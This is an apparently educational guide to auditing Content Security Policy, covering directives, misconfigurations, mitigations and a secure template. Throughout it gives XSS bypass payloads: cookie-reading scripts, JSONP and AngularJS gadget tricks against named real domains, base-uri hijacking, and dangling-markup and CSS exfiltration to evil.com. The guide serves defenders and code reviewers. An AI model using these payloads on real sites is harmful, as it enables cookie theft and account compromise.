01 //Introduction to Content Security Policy
Content Security Policy (CSP) is a browser security mechanism that restricts which resources (scripts, styles, images, fonts, frames, etc.) a page is allowed to load. Delivered as an HTTP response header, CSP is the primary defense-in-depth mitigation against Cross-Site Scripting (XSS) — if an attacker finds an injection point, CSP should prevent the injected code from executing.
In this guide, you'll learn how CSP directives work and what each one controls, why unsafe-inline and unsafe-eval destroy CSP's value, how whitelisted JSONP endpoints and JavaScript libraries enable bypasses, why nonce and hash implementations often fail, how base-uri hijacking and dangling markup attacks circumvent script restrictions, and how to audit CSP policies during code review.
Allows any inline script/style — destroys XSS protection.
Whitelisted domain hosts a JSONP callback — attacker controls it.
Inject <base> to redirect relative script URLs.
Static or cached nonces — attacker reads and replays them.
Exfiltrate page data without executing any script.
HTML id/name elements override JS globals used by nonced scripts.
A web application has an XSS vulnerability but also has a Content Security Policy. What determines whether the XSS is exploitable?
02 //CSP Fundamentals & Directives
CSP is delivered via the Content-Security-Policy HTTP response header (or a <meta> tag). It consists of directives that control which sources are allowed for each resource type.
1Content-Security-Policy:
2 default-src 'self'; # Fallback for all resource types
3 script-src 'self' https://cdn.example.com; # Where scripts can load from
4 style-src 'self' 'unsafe-inline'; # Where styles can load from
5 img-src 'self' data: https:; # Where images can load from
6 font-src 'self' https://fonts.gstatic.com; # Where fonts can load from
7 connect-src 'self' https://api.example.com; # Where fetch/XHR can connect
8 frame-src https://www.youtube.com; # Where iframes can load from
9 object-src 'none'; # Block Flash/Java plugins entirely
10 base-uri 'self'; # Restrict <base> element
11 form-action 'self'; # Where forms can submit to
12 frame-ancestors 'self'; # Who can frame this page (like X-Frame-Options)
13 report-uri /csp-report; # Where to send violation reportsKey CSP Source Values
| Source Value | Meaning | Security Impact |
|---|---|---|
| 'none' | Block all sources for this directive | Most restrictive — use for object-src, base-uri |
| 'self' | Allow same-origin resources only | Generally safe, but watch for JSONP/upload endpoints on same origin |
| 'unsafe-inline' | Allow inline scripts/styles | Destroys CSP protection against XSS — avoid at all costs |
| 'unsafe-eval' | Allow eval(), Function(), setTimeout(string) | Enables code execution from strings — avoid |
| 'nonce-{random}' | Allow scripts with matching nonce attribute | Strong when implemented correctly — nonce must be random per request |
| 'sha256-{hash}' | Allow scripts with matching content hash | Strong for static scripts — brittle if content changes |
| 'strict-dynamic' | Trust scripts loaded by already-trusted scripts | Modern approach — allows dynamic script loading with nonce propagation |
| https://cdn.example.com | Allow resources from this specific origin | Risk: any script on that CDN can be loaded — including JSONP callbacks |
| https: | Allow any HTTPS source | Very weak — attacker can host scripts on any HTTPS domain |
| * | Allow everything | No protection — equivalent to having no CSP |
default-src serves as the fallback for any directive not explicitly set. If you set default-src 'self' but omit script-src, scripts fall back to 'self'. A critical mistake is setting a restrictive default-src but then adding a permissive script-src that overrides it. Always explicitly set script-src, object-src, and base-uri.03 //unsafe-inline & unsafe-eval Bypasses
The 'unsafe-inline' directive is the single most common CSP misconfiguration — and it completely negates CSP's XSS protection. If the policy allows inline scripts, any XSS injection that produces an inline <script> tag or event handler executes normally.
1# ❌ This CSP provides ZERO protection against XSS
2Content-Security-Policy: script-src 'self' 'unsafe-inline'
3
4# Attacker injects any of these — all execute:
5<script>alert(document.cookie)</script>
6<img src=x onerror="alert(document.cookie)">
7<div onmouseover="alert(document.cookie)">hover me</div>
8<a href="javascript:alert(document.cookie)">click</a>Why developers add unsafe-inline: Inline scripts and styles are extremely common in web applications. Frameworks like WordPress, legacy jQuery apps, and even some modern SSR frameworks inject inline <script> tags. Rather than refactoring to use nonces or external scripts, developers take the shortcut of adding unsafe-inline — unknowingly destroying their CSP.
1# ❌ unsafe-eval allows string-to-code execution
2Content-Security-Policy: script-src 'self' 'unsafe-eval'
3
4# If attacker controls a string that reaches eval():
5eval(userInput) // Direct code execution
6new Function(userInput)() // Same effect
7setTimeout(userInput, 0) // Eval from string argument
8setInterval(userInput, 1000) // Eval from string argument
9
10# Some template engines require unsafe-eval:
11# - AngularJS (1.x) expressions
12# - Handlebars runtime compilation
13# - Some Vue.js configurationsYou audit a CSP and find: script-src 'nonce-abc123' 'unsafe-inline'. The developer says the nonce provides security. Is this correct?
04 //JSONP & Whitelisted Library Bypasses
Even without unsafe-inline, a CSP that whitelists popular domains (CDNs, APIs, analytics) often has hidden bypass paths. The most dangerous are JSONP endpoints and JavaScript libraries on whitelisted domains that can be abused as script gadgets.
1# CSP whitelists the Google APIs domain for legitimate use:
2Content-Security-Policy: script-src 'self' https://accounts.google.com
3
4# But accounts.google.com has JSONP endpoints!
5# Attacker injects (requires an HTML injection / reflected XSS point):
6<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.cookie)//"></script>
7
8# The JSONP endpoint returns:
9# alert(document.cookie)//({...})
10# → JavaScript executes under the whitelisted origin! CSP allows it.JSONP (JSON with Padding) endpoints return user-controlled callback function names wrapped around JSON data. If the CSP whitelists the domain hosting a JSONP endpoint, an attacker can use it to execute arbitrary JavaScript by controlling the callback parameter.
1# CSP whitelists a CDN that hosts AngularJS:
2Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com
3
4# Attacker injects AngularJS + template expression:
5<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
6<div ng-app ng-csp>
7 {{ constructor.constructor('alert(document.cookie)')() }}
8</div>
9
10# AngularJS evaluates the template expression — achieving code execution
11# without inline scripts! The script loads from a CSP-whitelisted domain,
12# and Angular's template evaluation doesn't trigger CSP violations.*.googleapis.com, *.cloudflare.com, *.amazonaws.com, *.akamaihd.net, and *.google.com. The solution is to move from domain whitelists to nonce-based or strict-dynamic CSP.Your CSP whitelists cdn.jsdelivr.net for a specific library. Why is this dangerous?
05 //Nonce & Hash Misconfigurations
Nonce-based CSP is the recommended approach — each page load generates a random nonce, and only scripts with a matching nonce attribute are executed. However, implementation mistakes can make nonces completely ineffective.
1# ❌ The nonce is hardcoded or the same on every request!
2Content-Security-Policy: script-src 'nonce-STATIC123'
3
4# If an attacker can observe ANY response (e.g., via a cached page,
5# a proxy log, or even the page source), they know the nonce and
6# can inject scripts with it:
7<script nonce="STATIC123">alert(document.cookie)</script>
8
9# The nonce MUST be cryptographically random and unique per response.
10# Common mistake: caching HTML pages that contain nonces.1// ❌ If the attacker has an HTML injection point, they can
2// READ the nonce from an existing script tag and reuse it:
3
4// Page source:
5// <script nonce="r4nd0m">app.init();</script>
6
7// Attacker injects (via HTML injection, not script execution):
8// <img src=x onerror="
9// var nonce = document.querySelector('script[nonce]').nonce;
10// var s = document.createElement('script');
11// s.nonce = nonce;
12// s.textContent = 'alert(document.cookie)';
13// document.body.appendChild(s);
14// ">
15
16// Wait — this requires inline event handlers, which the nonce-based
17// CSP should block... unless there's ALSO a CSS injection or
18// another gadget that enables initial code execution.
19
20// The real risk: some frameworks expose the nonce via JavaScript APIs
21// or the DOM in ways that make it extractable.1# If the application reflects user input inside a script tag
2# that has a nonce, the attacker gets code execution:
3
4# Server-side code:
5# <script nonce="<random>">
6# var config = { name: "USER_INPUT" };
7# </script>
8
9# Attacker input: "; alert(document.cookie); //
10# Result:
11<script nonce="r4nd0m">
12 var config = { name: ""; alert(document.cookie); //" };
13</script>
14# The nonce is present → CSP allows execution → XSS!
15
16# This is why nonces alone are insufficient — you must still
17# prevent injection into nonced script blocks.'sha256-...') only works for static inline scripts whose content never changes. If the script includes dynamic data (user name, CSRF token, config), the hash changes on every page load and breaks the CSP. This pushes developers toward unsafe-inline as a "quick fix." The correct approach for dynamic scripts is nonce-based CSP.Your application uses nonce-based CSP and serves pages through a CDN cache. Pages are cached for 5 minutes. What's the security impact?
06 //base-uri Hijacking
The <base> HTML element sets the base URL for all relative URLs in the document. If the CSP doesn't restrict base-uri, an attacker with HTML injection can change the base URL to their own server — causing all relative script loads to fetch from the attacker's domain.
1<!-- Application loads scripts with relative paths: -->
2<script src="/js/app.js"></script>
3<script src="/js/utils.js"></script>
4
5<!-- CSP: script-src 'self' — only allows scripts from same origin -->
6
7<!-- But if base-uri is not restricted and attacker can inject HTML: -->
8<base href="https://evil.com/">
9
10<!-- Now ALL relative URLs resolve to evil.com: -->
11<!-- /js/app.js → https://evil.com/js/app.js -->
12<!-- /js/utils.js → https://evil.com/js/utils.js -->
13
14<!-- Wait — shouldn't 'self' block evil.com? -->
15<!-- YES, in modern browsers 'self' checks the actual URL, not the base. -->
16<!-- BUT some edge cases exist with relative URL resolution in older browsers -->
17<!-- AND this attack is devastating when combined with nonce-based CSP: -->
18
19<!-- If the page has: -->
20<script nonce="r4nd0m" src="/js/config.js"></script>
21<!-- And attacker injects <base href="https://evil.com/"> BEFORE this tag, -->
22<!-- The browser loads https://evil.com/js/config.js with a valid nonce! -->1# ✅ SECURE: Restrict base-uri
2Content-Security-Policy:
3 script-src 'nonce-r4nd0m';
4 base-uri 'self'; # ← Only allow base from same origin
5 object-src 'none'; # ← Block plugins
6
7# Or even stricter:
8 base-uri 'none'; # ← Block <base> entirelybase-uri does NOT fall back to default-src. If you don't explicitly set it, there is no restriction on the <base> element. This is one of the most commonly forgotten CSP directives — always include base-uri 'self' or base-uri 'none' in every policy.07 //Detection During Code Review
During code review, evaluate the CSP policy itself, how it's deployed, and whether the application has patterns that undermine it.
CSP Code Review Checklist
| What to Check | Red Flag | Risk |
|---|---|---|
| script-src directive | Contains 'unsafe-inline' | Critical — CSP provides no XSS protection |
| script-src directive | Contains 'unsafe-eval' | High — enables eval-based attacks |
| script-src directive | Whitelists broad CDN domains (cdnjs, jsdelivr, unpkg, googleapis) | Critical — JSONP/library bypasses likely |
| script-src directive | Uses https: or * as a source | Critical — allows scripts from almost anywhere |
| base-uri directive | Missing entirely | High — base-uri hijacking possible |
| object-src directive | Missing or not set to 'none' | High — Flash/plugin-based bypasses |
| Nonce implementation | Nonce is static, predictable, or reused across requests | Critical — nonce-based CSP is useless |
| Nonce + caching | Pages with nonces are served from CDN cache | Critical — cached nonce = shared nonce |
| Nonce in script block | User input reflected inside a nonced script tag | Critical — attacker gets code execution within nonced context |
| Report-only mode | CSP is Content-Security-Policy-Report-Only (not enforced) | Info — CSP is monitoring-only, not blocking |
| Meta tag CSP | CSP deployed via tag instead of HTTP header | Medium — meta CSP cannot set frame-ancestors or report-uri |
1# Check the deployed CSP header
2curl -s -I https://example.com | grep -i content-security-policy
3
4# Find CSP configuration in codebase
5grep -rn "content-security-policy\|Content-Security-Policy\|contentSecurityPolicy" \
6 --include="*.js" --include="*.ts" --include="*.json" --include="*.conf"
7
8# Check for unsafe directives
9grep -rn "unsafe-inline\|unsafe-eval" --include="*.js" --include="*.ts" --include="*.conf"
10
11# Find nonce generation logic
12grep -rn "nonce\|generateNonce\|crypto.randomBytes" --include="*.js" --include="*.ts"
13
14# Use Google's CSP Evaluator (online tool):
15# https://csp-evaluator.withgoogle.com/You find this CSP: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src *. How many bypass paths exist?
08 //Dangling Markup Injection
Even with a perfect script-src policy, attackers can exfiltrate sensitive page data using dangling markup injection — a technique that doesn't require JavaScript execution at all.
1<!-- Page contains a CSRF token: -->
2<form action="/transfer">
3 <input type="hidden" name="csrf_token" value="SECRET_TOKEN_HERE">
4 <input type="text" name="amount">
5 <button type="submit">Transfer</button>
6</form>
7
8<!-- Attacker injects an unclosed <img> tag BEFORE the form: -->
9<img src="https://evil.com/collect?data=
10
11<!-- The browser parses everything until the next matching quote
12 as the src attribute value — including the CSRF token! -->
13
14<!-- What the browser sees: -->
15<img src="https://evil.com/collect?data=
16<form action="/transfer">
17 <input type=" <!-- stops here at the next quote -->
18
19<!-- Browser sends a request to: -->
20<!-- https://evil.com/collect?data=%0A<form%20action="/transfer">%0A%20%20<input%20type= -->
21<!-- The CSRF token is in the exfiltrated HTML! -->This technique works because HTML parsing continues across unclosed attribute values, consuming subsequent page content. CSP cannot block this because it's a regular image request — no scripts are involved.
1<!-- If style-src allows external stylesheets: -->
2<style>@import "https://evil.com/exfil?</style>
3
4<!-- Everything between <style> and the next </style> tag
5 (or closing quote) becomes part of the URL, exfiltrating
6 page content to the attacker's server. -->- Mitigations: Set
img-srcto specific domains (not*orhttps:) to limit where dangling markup image requests can go. - Use
form-action 'self'to prevent form hijacking via injected<form>tags. - Browsers like Chrome have started blocking some dangling markup patterns (cross-origin requests with literal newlines in URLs), but this protection is incomplete.
- The most effective defense is preventing HTML injection in the first place — output encoding all user data.
09 //Script Gadgets & DOM Clobbering
Script gadgets are legitimate JavaScript code patterns in existing libraries that can be abused by an attacker via HTML injection. The key insight: the attacker doesn't need to inject scripts — they inject HTML that triggers existing scripts to do dangerous things.
1<!-- The application has a nonced script that reads from the DOM: -->
2<script nonce="r4nd0m">
3 // This code is allowed by CSP because it has the nonce
4 const greeting = document.getElementById('user-greeting');
5 $('#display').html(greeting.innerHTML);
6</script>
7
8<!-- Attacker injects HTML (no script tags needed!): -->
9<div id="user-greeting">
10 <img src=x onerror="alert(document.cookie)">
11</div>
12
13<!-- jQuery's .html() parses and executes the event handler —
14 the XSS runs in the context of the nonced script,
15 bypassing CSP entirely! -->1<!-- DOM Clobbering: HTML elements with id/name create global variables -->
2
3<!-- Application code (nonced, CSP-allowed): -->
4<script nonce="r4nd0m">
5 // Tries to load config from a global variable
6 const configUrl = window.CONFIG_URL || '/api/config';
7 fetch(configUrl).then(r => r.json()).then(applyConfig);
8</script>
9
10<!-- Attacker injects HTML to clobber the global variable: -->
11<a id="CONFIG_URL" href="https://evil.com/malicious-config"></a>
12
13<!-- Now window.CONFIG_URL is the <a> element,
14 and its toString() returns "https://evil.com/malicious-config".
15 The nonced script fetches attacker-controlled config! -->
16
17<!-- More dangerous clobbering: -->
18<form id="CONFIG"><input name="URL" value="https://evil.com/payload"></form>
19<!-- window.CONFIG.URL → "https://evil.com/payload" -->10 //strict-dynamic & Trusted Types
'strict-dynamic' is a CSP Level 3 feature designed to solve the CDN whitelist problem. Instead of whitelisting domains, you trust a specific script (via nonce), and that script is allowed to dynamically load additional scripts — which inherit the trust without needing their own nonce.
1# ✅ Modern nonce + strict-dynamic approach
2Content-Security-Policy:
3 script-src 'nonce-r4nd0m' 'strict-dynamic';
4 base-uri 'none';
5 object-src 'none';
6
7# How it works:
8# 1. Only scripts with nonce="r4nd0m" are directly allowed
9# 2. Those nonced scripts can dynamically create new <script> elements
10# 3. Dynamically created scripts are automatically trusted
11# 4. ALL domain-based whitelist entries are IGNORED when strict-dynamic is present
12
13# This means:
14# - Inline event handlers (onclick, onerror) are BLOCKED
15# - <script src="https://cdn.example.com/..."> without nonce is BLOCKED
16# - <script nonce="r4nd0m">loadApp()</script> → ALLOWED
17# - Script created by: document.createElement('script') inside a nonced script → ALLOWED1// Trusted Types enforces that dangerous DOM APIs only accept
2// "trusted" values — not raw strings.
3
4// CSP header to enable:
5// Content-Security-Policy: require-trusted-types-for 'script'
6
7// Now these throw errors:
8element.innerHTML = userInput; // TypeError!
9document.write(userInput); // TypeError!
10scriptElement.src = userInput; // TypeError!
11eval(userInput); // TypeError!
12
13// You must create a Trusted Types policy:
14const policy = trustedTypes.createPolicy('sanitize', {
15 createHTML: (input) => DOMPurify.sanitize(input),
16 createScriptURL: (input) => {
17 const url = new URL(input);
18 if (url.origin === 'https://cdn.trusted.com') return input;
19 throw new Error('Untrusted script URL');
20 },
21});
22
23// Now use the policy to create trusted values:
24element.innerHTML = policy.createHTML(userInput); // ✅ Sanitized- strict-dynamic limitations: It still requires injection-free nonced script blocks. If an attacker can inject into a nonced script block, they can use
document.createElement('script')to load anything. - Trusted Types adoption: Currently supported in Chrome/Edge. Firefox support is in progress. Use
require-trusted-types-for 'script'to enforce. - Migration path: Start with report-only Trusted Types to identify all DOM XSS sinks in your application, then enforce after fixing all violations.
- Default policy: Trusted Types supports a
defaultpolicy that intercepts ALL DOM XSS sinks — useful for gradual migration.
11 //Real-World Case Studies
*.github.com, and a service on a subdomain had a JSONP endpoint. The bypass allowed executing arbitrary JavaScript in the context of github.com, potentially accessing private repositories.strict-dynamic and nonces as a result.style-src 'unsafe-inline' is set) can be used to exfiltrate nonce values from the DOM using CSS attribute selectors. By injecting styles like script[nonce^="a"] { background: url(https://evil.com/a) } for each possible character, the nonce can be extracted character-by-character via timing side channels.base-uri directive. Combined with an HTML injection vulnerability, they injected a <base> tag that redirected relative script loads to their server. Since the scripts were loaded via relative paths and the nonced script tag used a relative src, the attacker-controlled scripts executed with full CSP approval.12 //Conclusion & Secure CSP Template
A well-configured CSP is one of the strongest defenses against XSS. But a misconfigured CSP creates a false sense of security — the development team believes they're protected while attackers easily bypass the policy. Use this template and checklist for every CSP review.
1# ✅ Strong, modern CSP policy
2Content-Security-Policy:
3 default-src 'self';
4 script-src 'nonce-{RANDOM}' 'strict-dynamic';
5 style-src 'self' 'nonce-{RANDOM}';
6 img-src 'self' data: https://specific-cdn.example.com;
7 font-src 'self' https://fonts.gstatic.com;
8 connect-src 'self' https://api.example.com;
9 frame-src https://specific-embed.example.com;
10 object-src 'none';
11 base-uri 'none';
12 form-action 'self';
13 frame-ancestors 'self';
14 require-trusted-types-for 'script';
15 report-uri /api/csp-report;CSP Review Checklist
| Category | Check | Priority |
|---|---|---|
| Directives | Is 'unsafe-inline' absent from script-src? | Critical |
| Directives | Is 'unsafe-eval' absent from script-src? | Critical |
| Directives | Are CDN domains (jsdelivr, cdnjs, unpkg) absent from script-src? | Critical |
| Directives | Is object-src set to 'none'? | High |
| Directives | Is base-uri set to 'none' or 'self'? | High |
| Directives | Does script-src use nonces with 'strict-dynamic'? | Recommended |
| Nonces | Is the nonce cryptographically random and unique per response? | Critical |
| Nonces | Are pages with nonces excluded from CDN/browser caching? | Critical |
| Nonces | Is user input never reflected inside nonced script blocks? | Critical |
| Deployment | Is CSP delivered via HTTP header (not just meta tag)? | High |
| Deployment | Is CSP in enforce mode (not report-only) in production? | High |
| Monitoring | Is report-uri / report-to configured for violation monitoring? | Recommended |